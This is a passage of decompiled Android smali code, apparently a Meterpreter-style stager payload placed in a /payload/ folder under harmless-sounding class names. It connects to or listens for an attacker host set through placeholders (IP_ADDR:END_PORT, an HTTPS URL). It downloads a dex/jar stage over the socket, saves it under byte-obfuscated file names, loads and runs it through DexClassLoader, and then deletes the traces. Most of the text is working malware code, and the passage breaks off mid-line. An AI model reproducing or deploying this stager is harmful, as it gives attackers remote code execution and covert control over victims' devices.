| .method private static leesEnLoopDieDing(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V 116 | .locals 15 117 | .param p0, "in" # Ljava/io/DataInputStream; 118 | .param p1, "out" # Ljava/io/OutputStream; 119 | .param p2, "parameters" # [Ljava/lang/String; 120 | .annotation system Ldalvik/annotation/Throws; 121 | value = { 122 | Ljava/lang/Exception; 123 | } 124 | .end annotation 125 | 126 | .prologue 127 | .line 109 128 | const/4 v11, 0x0 129 | 130 | aget-object v7, p2, v11 131 | 132 | .line 110 133 | .local v7, "path":Ljava/lang/String; 134 | const/16 v11, 0x8 135 | 136 | new-array v0, v11, [B 137 | 138 | fill-array-data v0, :array_0 139 | 140 | .line 111 141 | .local v0, "arr1":[B 142 | const/16 v11, 0x8 143 | 144 | new-array v1, v11, [B 145 | 146 | fill-array-data v1, :array_1 147 | 148 | .line 114 149 | .local v1, "arr2":[B 150 | new-instance v11, Ljava/lang/StringBuilder; 151 | 152 | invoke-direct {v11}, Ljava/lang/StringBuilder;->()V 153 | 154 | invoke-virtual {v11, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 155 | 156 | move-result-object v11 157 | 158 | sget-char v12, Ljava/io/File;->separatorChar:C 159 | 160 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; 161 | 162 | move-result-object v11 163 | 164 | new-instance v12, Ljava/lang/String; 165 | 166 | invoke-direct {v12, v0}, Ljava/lang/String;->([B)V 167 | 168 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 169 | 170 | move-result-object v11 171 | 172 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 173 | 174 | move-result-object v9 175 | 176 | .line 115 177 | .local v9, "pathToTheFile":Ljava/lang/String; 178 | new-instance v11, Ljava/lang/StringBuilder; 179 | 180 | invoke-direct {v11}, Ljava/lang/StringBuilder;->()V 181 | 182 | invoke-virtual {v11, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 183 | 184 | move-result-object v11 185 | 186 | sget-char v12, Ljava/io/File;->separatorChar:C 187 | 188 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; 189 | 190 | move-result-object v11 191 | 192 | new-instance v12, Ljava/lang/String; 193 | 194 | invoke-direct {v12, v1}, Ljava/lang/String;->([B)V 195 | 196 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 197 | 198 | move-result-object v11 199 | 200 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 201 | 202 | move-result-object v8 203 | 204 | .line 117 205 | .local v8, "pathToTheDex":Ljava/lang/String; 206 | invoke-virtual {p0}, Ljava/io/DataInputStream;->readInt()I 207 | 208 | move-result v11 209 | 210 | new-array v3, v11, [B 211 | 212 | .line 118 213 | .local v3, "core":[B 214 | invoke-virtual {p0, v3}, Ljava/io/DataInputStream;->readFully([B)V 215 | 216 | .line 119 217 | new-instance v2, Ljava/lang/String; 218 | 219 | invoke-direct {v2, v3}, Ljava/lang/String;->([B)V 220 | 221 | .line 120 222 | .local v2, "classFile":Ljava/lang/String; 223 | invoke-virtual {p0}, Ljava/io/DataInputStream;->readInt()I 224 | 225 | move-result v11 226 | 227 | new-array v3, v11, [B 228 | 229 | .line 121 230 | invoke-virtual {p0, v3}, Ljava/io/DataInputStream;->readFully([B)V 231 | 232 | .line 122 233 | new-instance v4, Ljava/io/File; 234 | 235 | invoke-direct {v4, v9}, Ljava/io/File;->(Ljava/lang/String;)V 236 | 237 | .line 123 238 | .local v4, "file":Ljava/io/File; 239 | invoke-virtual {v4}, Ljava/io/File;->exists()Z 240 | 241 | move-result v11 242 | 243 | if-nez v11, :cond_0 244 | 245 | .line 124 246 | invoke-virtual {v4}, Ljava/io/File;->createNewFile()Z 247 | 248 | .line 126 249 | :cond_0 250 | new-instance v5, Ljava/io/FileOutputStream; 251 | 252 | invoke-direct {v5, v4}, Ljava/io/FileOutputStream;->(Ljava/io/File;)V 253 | 254 | .line 127 255 | .local v5, "fop":Ljava/io/FileOutputStream; 256 | invoke-virtual {v5, v3}, Ljava/io/FileOutputStream;->write([B)V 257 | 258 | .line 128 259 | invoke-virtual {v5}, Ljava/io/FileOutputStream;->flush()V 260 | 261 | .line 129 262 | invoke-virtual {v5}, Ljava/io/FileOutputStream;->close()V 263 | 264 | .line 130 265 | new-instance v11, Ldalvik/system/DexClassLoader; 266 | 267 | const-class v12, PLACEHOLDER/AssistActivity; 268 | 269 | invoke-virtual {v12}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader; 270 | 271 | move-result-object v12 272 | 273 | invoke-direct {v11, v9, v7, v7, v12}, Ldalvik/system/DexClassLoader;->(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V 274 | 275 | invoke-virtual {v11, v2}, Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class; 276 | 277 | move-result-object v6 278 | 279 | .line 131 280 | .local v6, "myClass":Ljava/lang/Class;, "Ljava/lang/Class<*>;" 281 | invoke-virtual {v6}, Ljava/lang/Class;->newInstance()Ljava/lang/Object; 282 | 283 | move-result-object v10 284 | 285 | .line 132 286 | .local v10, "stage":Ljava/lang/Object; 287 | invoke-virtual {v4}, Ljava/io/File;->delete()Z 288 | 289 | .line 133 290 | new-instance v11, Ljava/io/File; 291 | 292 | invoke-direct {v11, v8}, Ljava/io/File;->(Ljava/lang/String;)V 293 | 294 | invoke-virtual {v11}, Ljava/io/File;->delete()Z 295 | 296 | .line 134 297 | const-string v11, "start" 298 | 299 | const/4 v12, 0x3 300 | 301 | new-array v12, v12, [Ljava/lang/Class; 302 | 303 | const/4 v13, 0x0 304 | 305 | const-class v14, Ljava/io/DataInputStream; 306 | 307 | aput-object v14, v12, v13 308 | 309 | const/4 v13, 0x1 310 | 311 | const-class v14, Ljava/io/OutputStream; 312 | 313 | aput-object v14, v12, v13 314 | 315 | const/4 v13, 0x2 316 | 317 | const-class v14, [Ljava/lang/String; 318 | 319 | aput-object v14, v12, v13 320 | 321 | invoke-virtual {v6, v11, v12}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; 322 | 323 | move-result-object v11 324 | 325 | const/4 v12, 0x3 326 | 327 | new-array v12, v12, [Ljava/lang/Object; 328 | 329 | const/4 v13, 0x0 330 | 331 | aput-object p0, v12, v13 332 | 333 | const/4 v13, 0x1 334 | 335 | aput-object p1, v12, v13 336 | 337 | const/4 v13, 0x2 338 | 339 | aput-object p2, v12, v13 340 | 341 | invoke-virtual {v11, v10, v12}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; 342 | 343 | .line 135 344 | const/4 v11, 0x0 345 | 346 | invoke-static {v11}, Ljava/lang/System;->exit(I)V 347 | 348 | .line 136 349 | return-void 350 | 351 | .line 110 352 | :array_0 353 | .array-data 1 354 | 0x73t 355 | 0x6bt 356 | 0x61t 357 | 0x74t 358 | 0x2et 359 | 0x6at 360 | 0x61t 361 | 0x72t 362 | .end array-data 363 | 364 | .line 111 365 | :array_1 366 | .array-data 1 367 | 0x73t 368 | 0x6bt 369 | 0x61t 370 | 0x74t 371 | 0x2et 372 | 0x64t 373 | 0x65t 374 | 0x78t 375 | .end array-data 376 | .end method 377 | 378 | .method private static maakDieStageVanTcp(Ljava/lang/String;)V 379 | .locals 8 380 | .param p0, "url" # Ljava/lang/String; 381 | .annotation system Ldalvik/annotation/Throws; 382 | value = { 383 | Ljava/lang/Exception; 384 | } 385 | .end annotation 386 | 387 | .prologue 388 | const/4 v7, 0x2 389 | 390 | .line 92 391 | const-string v5, ":" 392 | 393 | invoke-virtual {p0, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; 394 | 395 | move-result-object v0 396 | 397 | .line 93 398 | .local v0, "dinge":[Ljava/lang/String; 399 | aget-object v5, v0, v7 400 | 401 | invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 402 | 403 | move-result v2 404 | 405 | .line 94 406 | .local v2, "port":I 407 | const/4 v5, 0x1 408 | 409 | aget-object v5, v0, v5 410 | 411 | const-string v6, "/" 412 | 413 | invoke-virtual {v5, v6}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; 414 | 415 | move-result-object v5 416 | 417 | aget-object v1, v5, v7 418 | 419 | .line 95 420 | .local v1, "host":Ljava/lang/String; 421 | const-string v5, "" 422 | 423 | invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z 424 | 425 | move-result v5 426 | 427 | if-eqz v5, :cond_1 428 | 429 | .line 96 430 | new-instance v3, Ljava/net/ServerSocket; 431 | 432 | invoke-direct {v3, v2}, Ljava/net/ServerSocket;->(I)V 433 | 434 | .line 97 435 | .local v3, "server":Ljava/net/ServerSocket; 436 | invoke-virtual {v3}, Ljava/net/ServerSocket;->accept()Ljava/net/Socket; 437 | 438 | move-result-object v4 439 | 440 | .line 98 441 | .local v4, "sock":Ljava/net/Socket; 442 | invoke-virtual {v3}, Ljava/net/ServerSocket;->close()V 443 | 444 | .line 102 445 | .end local v3 # "server":Ljava/net/ServerSocket; 446 | :goto_0 447 | if-eqz v4, :cond_0 448 | 449 | .line 103 450 | const/16 v5, 0x1f4 451 | 452 | invoke-virtual {v4, v5}, Ljava/net/Socket;->setSoTimeout(I)V 453 | 454 | .line 104 455 | new-instance v5, Ljava/io/DataInputStream; 456 | 457 | invoke-virtual {v4}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream; 458 | 459 | move-result-object v6 460 | 461 | invoke-direct {v5, v6}, Ljava/io/DataInputStream;->(Ljava/io/InputStream;)V 462 | 463 | new-instance v6, Ljava/io/DataOutputStream; 464 | 465 | invoke-virtual {v4}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream; 466 | 467 | move-result-object v7 468 | 469 | invoke-direct {v6, v7}, Ljava/io/DataOutputStream;->(Ljava/io/OutputStream;)V 470 | 471 | sget-object v7, PLACEHOLDER/AssistActivity;->parameters:[Ljava/lang/String; 472 | 473 | invoke-static {v5, v6, v7}, PLACEHOLDER/AssistActivity;->leesEnLoopDieDing(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V 474 | 475 | .line 106 476 | :cond_0 477 | return-void 478 | 479 | .line 100 480 | .end local v4 # "sock":Ljava/net/Socket; 481 | :cond_1 482 | new-instance v4, Ljava/net/Socket; 483 | 484 | invoke-direct {v4, v1, v2}, Ljava/net/Socket;->(Ljava/lang/String;I)V 485 | 486 | .restart local v4 # "sock":Ljava/net/Socket; 487 | goto :goto_0 488 | .end method 489 | 490 | .method public static main([Ljava/lang/String;)V 491 | .locals 16 492 | .param p0, "args" # [Ljava/lang/String; 493 | .annotation system Ldalvik/annotation/Throws; 494 | value = { 495 | Ljava/lang/Exception; 496 | } 497 | .end annotation 498 | 499 | .prologue 500 | .line 51 501 | if-eqz p0, :cond_0 502 | 503 | .line 52 504 | const/4 v12, 0x1 505 | 506 | new-array v12, v12, [Ljava/lang/String; 507 | 508 | const/4 v13, 0x0 509 | 510 | new-instance v14, Ljava/io/File; 511 | 512 | const-string v15, "." 513 | 514 | invoke-direct {v14, v15}, Ljava/io/File;->(Ljava/lang/String;)V 515 | 516 | invoke-virtual {v14}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; 517 | 518 | move-result-object v14 519 | 520 | aput-object v14, v12, v13 521 | 522 | sput-object v12, PLACEHOLDER/AssistActivity;->parameters:[Ljava/lang/String; 523 | 524 | .line 54 525 | :cond_0 526 | new-instance v12, Ljava/lang/String; 527 | 528 | sget-object v13, PLACEHOLDER/AssistActivity;->tArr:[B 529 | 530 | invoke-direct {v12, v13}, Ljava/lang/String;->([B)V 531 | 532 | const/4 v13, 0x4 533 | 534 | invoke-virtual {v12, v13}, Ljava/lang/String;->substring(I)Ljava/lang/String; 535 | 536 | move-result-object v12 537 | 538 | invoke-virtual {v12}, Ljava/lang/String;->trim()Ljava/lang/String; 539 | 540 | move-result-object v12 541 | 542 | const-string v13, "-" 543 | 544 | invoke-virtual {v12, v13}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; 545 | 546 | move-result-object v3 547 | 548 | .line 57 549 | .local v3, "timeouts":[Ljava/lang/String; 550 | const/4 v12, 0x0 551 | 552 | :try_start_0 553 | aget-object v12, v3, v12 554 | 555 | invoke-static {v12}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 556 | 557 | move-result v12 558 | 559 | int-to-long v10, v12 560 | 561 | .line 58 562 | .local v10, "sessionExpiry":J 563 | const/4 v12, 0x1 564 | 565 | aget-object v12, v3, v12 566 | 567 | invoke-static {v12}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 568 | 569 | move-result v12 570 | 571 | int-to-long v0, v12 572 | 573 | .line 59 574 | .local v0, "commTimeout":J 575 | const/4 v12, 0x2 576 | 577 | aget-object v12, v3, v12 578 | 579 | invoke-static {v12}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 580 | 581 | move-result v12 582 | 583 | int-to-long v6, v12 584 | 585 | .line 60 586 | .local v6, "retryTotal":J 587 | const/4 v12, 0x3 588 | 589 | aget-object v12, v3, v12 590 | 591 | invoke-static {v12}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 592 | 593 | move-result v12 594 | 595 | int-to-long v8, v12 596 | 597 | .line 61 598 | .local v8, "retryWait":J 599 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J 600 | 601 | move-result-wide v4 602 | 603 | .line 63 604 | .local v4, "payloadStart":J 605 | sget-object v12, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 606 | 607 | invoke-virtual {v12, v10, v11}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 608 | 609 | move-result-wide v12 610 | 611 | add-long/2addr v12, v4 612 | 613 | sput-wide v12, PLACEHOLDER/AssistActivity;->whenTheSessionExpires:J 614 | 615 | .line 64 616 | sget-object v12, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 617 | 618 | invoke-virtual {v12, v0, v1}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 619 | 620 | move-result-wide v12 621 | 622 | sput-wide v12, PLACEHOLDER/AssistActivity;->timeoutOfTheConn:J 623 | 624 | .line 65 625 | sget-object v12, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 626 | 627 | invoke-virtual {v12, v6, v7}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 628 | 629 | move-result-wide v12 630 | 631 | sput-wide v12, PLACEHOLDER/AssistActivity;->retry_total:J 632 | 633 | .line 66 634 | sget-object v12, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 635 | 636 | invoke-virtual {v12, v8, v9}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 637 | 638 | move-result-wide v12 639 | 640 | sput-wide v12, PLACEHOLDER/AssistActivity;->retry_wait:J 641 | 642 | .line 69 643 | new-instance v12, Ljava/lang/String; 644 | 645 | sget-object v13, PLACEHOLDER/AssistActivity;->array:[B 646 | 647 | invoke-direct {v12, v13}, Ljava/lang/String;->([B)V 648 | 649 | const/4 v13, 0x4 650 | 651 | invoke-virtual {v12, v13}, Ljava/lang/String;->substring(I)Ljava/lang/String; 652 | 653 | move-result-object v2 654 | 655 | .line 72 656 | .local v2, "diePlekWaarTeGaan":Ljava/lang/String; 657 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J 658 | 659 | move-result-wide v12 660 | 661 | sget-wide v14, PLACEHOLDER/AssistActivity;->retry_total:J 662 | 663 | add-long/2addr v14, v4 664 | 665 | cmp-long v12, v12, v14 666 | 667 | if-gez v12, :cond_1 668 | 669 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J 670 | 671 | move-result-wide v12 672 | 673 | sget-wide v14, PLACEHOLDER/AssistActivity;->whenTheSessionExpires:J 674 | 675 | cmp-long v12, v12, v14 676 | 677 | if-gez v12, :cond_1 678 | 679 | .line 82 680 | const-string v12, "tcp" 681 | 682 | invoke-virtual {v2, v12}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z 683 | 684 | move-result v12 685 | 686 | if-eqz v12, :cond_1 687 | 688 | .line 83 689 | invoke-static {v2}, PLACEHOLDER/AssistActivity;->maakDieStageVanTcp(Ljava/lang/String;)V 690 | :try_end_0 691 | .catch Ljava/lang/NumberFormatException; {:try_start_0 .. :try_end_0} :catch_0 692 | 693 | .line 88 694 | .end local v0 # "commTimeout":J 695 | .end local v2 # "diePlekWaarTeGaan":Ljava/lang/String; 696 | .end local v4 # "payloadStart":J 697 | .end local v6 # "retryTotal":J 698 | .end local v8 # "retryWait":J 699 | .end local v10 # "sessionExpiry":J 700 | :cond_1 701 | :goto_0 702 | return-void 703 | 704 | .line 86 705 | :catch_0 706 | move-exception v12 707 | 708 | goto :goto_0 709 | .end method 710 | 711 | .method public static pathToStartIn(Ljava/lang/String;)V 712 | .locals 2 713 | .param p0, "path" # Ljava/lang/String; 714 | 715 | .prologue 716 | .line 46 717 | const/4 v0, 0x1 718 | 719 | new-array v0, v0, [Ljava/lang/String; 720 | 721 | const/4 v1, 0x0 722 | 723 | aput-object p0, v0, v1 724 | 725 | sput-object v0, PLACEHOLDER/AssistActivity;->parameters:[Ljava/lang/String; 726 | 727 | .line 47 728 | invoke-static {}, PLACEHOLDER/AssistActivity;->startAsync()V 729 | 730 | .line 48 731 | return-void 732 | .end method 733 | 734 | .method public static startAsync()V 735 | .locals 1 736 | 737 | .prologue 738 | .line 34 739 | new-instance v0, PLACEHOLDER/AssistActivity1; 740 | 741 | invoke-direct {v0}, PLACEHOLDER/AssistActivity1;->()V 742 | 743 | invoke-virtual {v0}, PLACEHOLDER/AssistActivity1;->start()V 744 | 745 | .line 43 746 | return-void 747 | .end method 748 | -------------------------------------------------------------------------------- /payload/AssistActivity1.smali: -------------------------------------------------------------------------------- 1 | .class final PLACEHOLDER/AssistActivity1; 2 | .super Ljava/lang/Thread; 3 | .source "AssistActivity.java" 4 | 5 | 6 | # annotations 7 | .annotation system Ldalvik/annotation/EnclosingMethod; 8 | value = PLACEHOLDER/AssistActivity;->startAsync()V 9 | .end annotation 10 | 11 | .annotation system Ldalvik/annotation/InnerClass; 12 | accessFlags = 0x8 13 | name = null 14 | .end annotation 15 | 16 | 17 | # direct methods 18 | .method constructor ()V 19 | .locals 0 20 | 21 | .prologue 22 | .line 34 23 | invoke-direct {p0}, Ljava/lang/Thread;->()V 24 | 25 | return-void 26 | .end method 27 | 28 | 29 | # virtual methods 30 | .method public run()V 31 | .locals 2 32 | 33 | .prologue 34 | .line 37 35 | const/4 v1, 0x0 36 | 37 | :try_start_0 38 | invoke-static {v1}, PLACEHOLDER/AssistActivity;->main([Ljava/lang/String;)V 39 | :try_end_0 40 | .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 41 | 42 | .line 41 43 | :goto_0 44 | return-void 45 | 46 | .line 38 47 | :catch_0 48 | move-exception v0 49 | 50 | .line 39 51 | .local v0, "e":Ljava/lang/Exception; 52 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V 53 | 54 | goto :goto_0 55 | .end method 56 | -------------------------------------------------------------------------------- /payload/HttpsActivity.smali: -------------------------------------------------------------------------------- 1 | .class public PLACEHOLDER/HttpsActivity; 2 | .super Ljava/lang/Object; 3 | .source "SourceFile" 4 | 5 | 6 | # static fields 7 | .field public static final CERT_HASH:Ljava/lang/String; = "WWWW" 8 | 9 | .field public static final TIMEOUTS:Ljava/lang/String; = "TTTT604800-300-3600-10" 10 | 11 | .field public static final URL:Ljava/lang/String; = "ZZZZhttps://IP_ADDR:END_PORT/qFTHTkSl1FhadlllA0gBcg882wlHLDmhMn6j1_ykMcArMkXkE-KOQ3RV-W7JtI5nf7x65a3fwcwgLEPvnCgmeb2f0m-VVEm_qAMZzFhGdNn8F46OtF_FJAP1b1AjG5x8X-GGH-rekgabzOzEMkQkgqYuUl" 12 | 13 | .field public static comm_timeout:J 14 | 15 | .field private static parameters:[Ljava/lang/String; 16 | 17 | .field public static retry_total:J 18 | 19 | .field public static retry_wait:J 20 | 21 | .field public static session_expiry:J 22 | 23 | 24 | # direct methods 25 | .method public constructor ()V 26 | .locals 0 27 | 28 | .prologue 29 | .line 23 30 | invoke-direct {p0}, Ljava/lang/Object;->()V 31 | 32 | return-void 33 | .end method 34 | 35 | .method public static main([Ljava/lang/String;)V 36 | .locals 22 37 | .param p0, "args" # [Ljava/lang/String; 38 | .annotation system Ldalvik/annotation/Throws; 39 | value = { 40 | Ljava/lang/Exception; 41 | } 42 | .end annotation 43 | 44 | .prologue 45 | .line 59 46 | if-eqz p0, :cond_0 47 | 48 | .line 60 49 | const/16 v18, 0x1 50 | 51 | move/from16 v0, v18 52 | 53 | new-array v0, v0, [Ljava/lang/String; 54 | 55 | move-object/from16 v18, v0 56 | 57 | const/16 v19, 0x0 58 | 59 | new-instance v20, Ljava/io/File; 60 | 61 | const-string v21, "." 62 | 63 | invoke-direct/range {v20 .. v21}, Ljava/io/File;->(Ljava/lang/String;)V 64 | 65 | invoke-virtual/range {v20 .. v20}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; 66 | 67 | move-result-object v20 68 | 69 | aput-object v20, v18, v19 70 | 71 | sput-object v18, PLACEHOLDER/HttpsActivity;->parameters:[Ljava/lang/String; 72 | 73 | .line 62 74 | :cond_0 75 | const-wide/16 v6, -0x1 76 | 77 | .line 63 78 | .local v6, "currentTime":J 79 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J 80 | 81 | move-result-wide v10 82 | 83 | .line 64 84 | .local v10, "payloadStart":J 85 | const-string v18, "TTTT604800-300-3600-10" 86 | 87 | const/16 v19, 0x4 88 | 89 | invoke-virtual/range {v18 .. v19}, Ljava/lang/String;->substring(I)Ljava/lang/String; 90 | 91 | move-result-object v18 92 | 93 | invoke-virtual/range {v18 .. v18}, Ljava/lang/String;->trim()Ljava/lang/String; 94 | 95 | move-result-object v9 96 | 97 | .line 65 98 | .local v9, "timeoutString":Ljava/lang/String; 99 | invoke-virtual {v9}, Ljava/lang/String;->length()I 100 | 101 | move-result v18 102 | 103 | const/16 v19, 0x3 104 | 105 | move/from16 v0, v18 106 | 107 | move/from16 v1, v19 108 | 109 | if-le v0, v1, :cond_1 110 | 111 | .line 66 112 | const-string v18, "-" 113 | 114 | move-object/from16 v0, v18 115 | 116 | invoke-virtual {v9, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; 117 | 118 | move-result-object v16 119 | 120 | .line 68 121 | .local v16, "timeouts":[Ljava/lang/String; 122 | const/16 v18, 0x1 123 | 124 | :try_start_0 125 | aget-object v18, v16, v18 126 | 127 | invoke-static/range {v18 .. v18}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 128 | 129 | move-result v18 130 | 131 | move/from16 v0, v18 132 | 133 | int-to-long v4, v0 134 | 135 | .line 69 136 | .local v4, "commTimeout":J 137 | const/16 v18, 0x2 138 | 139 | aget-object v18, v16, v18 140 | 141 | invoke-static/range {v18 .. v18}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 142 | 143 | move-result v18 144 | 145 | move/from16 v0, v18 146 | 147 | int-to-long v12, v0 148 | 149 | .line 70 150 | .local v12, "retryTotal":J 151 | const/16 v18, 0x3 152 | 153 | aget-object v18, v16, v18 154 | 155 | invoke-static/range {v18 .. v18}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 156 | 157 | move-result v18 158 | 159 | move/from16 v0, v18 160 | 161 | int-to-long v14, v0 162 | 163 | .line 71 164 | .local v14, "retryWait":J 165 | sget-object v18, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 166 | 167 | const/16 v19, 0x0 168 | 169 | aget-object v19, v16, v19 170 | 171 | invoke-static/range {v19 .. v19}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I 172 | 173 | move-result v19 174 | 175 | move/from16 v0, v19 176 | 177 | int-to-long v0, v0 178 | 179 | move-wide/from16 v20, v0 180 | 181 | move-object/from16 v0, v18 182 | 183 | move-wide/from16 v1, v20 184 | 185 | invoke-virtual {v0, v1, v2}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 186 | 187 | move-result-wide v18 188 | 189 | add-long v18, v18, v10 190 | 191 | sput-wide v18, PLACEHOLDER/HttpsActivity;->session_expiry:J 192 | 193 | .line 72 194 | sget-object v18, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 195 | 196 | move-object/from16 v0, v18 197 | 198 | invoke-virtual {v0, v4, v5}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 199 | 200 | move-result-wide v18 201 | 202 | sput-wide v18, PLACEHOLDER/HttpsActivity;->comm_timeout:J 203 | 204 | .line 73 205 | sget-object v18, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 206 | 207 | move-object/from16 v0, v18 208 | 209 | invoke-virtual {v0, v12, v13}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 210 | 211 | move-result-wide v18 212 | 213 | sput-wide v18, PLACEHOLDER/HttpsActivity;->retry_total:J 214 | 215 | .line 74 216 | sget-object v18, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit; 217 | 218 | move-object/from16 v0, v18 219 | 220 | invoke-virtual {v0, v14, v15}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J 221 | 222 | move-result-wide v18 223 | 224 | sput-wide v18, PLACEHOLDER/HttpsActivity;->retry_wait:J 225 | 226 | .line 75 227 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J 228 | :try_end_0 229 | .catch Ljava/lang/NumberFormatException; {:try_start_0 .. :try_end_0} :catch_0 230 | 231 | move-result-wide v6 232 | 233 | .line 80 234 | .end local v4 # "commTimeout":J 235 | .end local v12 # "retryTotal":J 236 | .end local v14 # "retryWait":J 237 | .end local v16 # "timeouts":[Ljava/lang/String; 238 | :cond_1 239 | const-string v18, "ZZZZhttps://IP_ADDR:END_PORT/qFTHTkSl1FhadlllA0gBcg882wlHLDmhMn6j1_ykMcArMkXkE-KOQ3RV-W7JtI5nf7x65a3fwcwgLEPvnCgmeb2f0m-VVEm_qAMZzFhGdNn8F46OtF_FJAP1b1AjG5x8X-GGH-rekgabzOzEMkQkgqYuUl" 240 | 241 | const/16 v19, 0x4 242 | 243 | invoke-virtual/range {v18 .. v19}, Ljava/lang/String;->substring(I)Ljava/lang/String; 244 | 245 | move-result-object v18 246 | 247 | invoke-virtual/range {v18 .. v18}, Ljava/lang/String;->trim()Ljava/lang/String; 248 | 249 | move-result-object v17 250 | 251 | .line 81 252 | .local v17, "url":Ljava/lang/String; 253 | sget-wide v18, PLACEHOLDER/HttpsActivity;->retry_total:J 254 | 255 | add-long v18, v18, v10 256 | 257 | cmp-long v18, v6, v18 258 | 259 | if-gez v18, :cond_2 260 | 261 | sget-wide v18, PLACEHOLDER/HttpsActivity;->session_expiry:J 262 | 263 | cmp-long v18, v6, v18 264 | 265 | if-gez v18, :cond_2 266 | 267 | .line 91 268 | const-string v18, "tcp" 269 | 270 | invoke-virtual/range {v17 .. v18}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z 271 | 272 | move-result v18 273 | 274 | if-eqz v18, :cond_3 275 | 276 | .line 92 277 | invoke-static/range {v17 .. v17}, PLACEHOLDER/HttpsActivity;->runStagefromTCP(Ljava/lang/String;)V 278 | 279 | .line 97 280 | .end local v17 # "url":Ljava/lang/String; 281 | :cond_2 282 | :goto_0 283 | return-void 284 | 285 | .line 76 286 | .restart local v16 # "timeouts":[Ljava/lang/String; 287 | :catch_0 288 | move-exception v8 289 | 290 | .line 77 291 | .local v8, "e":Ljava/lang/NumberFormatException; 292 | goto :goto_0 293 | 294 | .line 94 295 | .end local v8 # "e":Ljava/lang/NumberFormatException; 296 | .end local v16 # "timeouts":[Ljava/lang/String; 297 | .restart local v17 # "url":Ljava/lang/String; 298 | :cond_3 299 | invoke-static/range {v17 .. v17}, PLACEHOLDER/HttpsActivity;->runStageFromHTTP(Ljava/lang/String;)V 300 | 301 | goto :goto_0 302 | .end method 303 | 304 | .method private static readAndRunStage(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V 305 | .locals 13 306 | .param p0, "in" # Ljava/io/DataInputStream; 307 | .param p1, "out" # Ljava/io/OutputStream; 308 | .param p2, "parameters" # [Ljava/lang/String; 309 | .annotation system Ldalvik/annotation/Throws; 310 | value = { 311 | Ljava/lang/Exception; 312 | } 313 | .end annotation 314 | 315 | .prologue 316 | .line 129 317 | const/4 v9, 0x0 318 | 319 | aget-object v7, p2, v9 320 | 321 | .line 130 322 | .local v7, "path":Ljava/lang/String; 323 | new-instance v9, Ljava/lang/StringBuilder; 324 | 325 | invoke-direct {v9}, Ljava/lang/StringBuilder;->()V 326 | 327 | invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 328 | 329 | move-result-object v9 330 | 331 | sget-char v10, Ljava/io/File;->separatorChar:C 332 | 333 | invoke-virtual {v9, v10}, 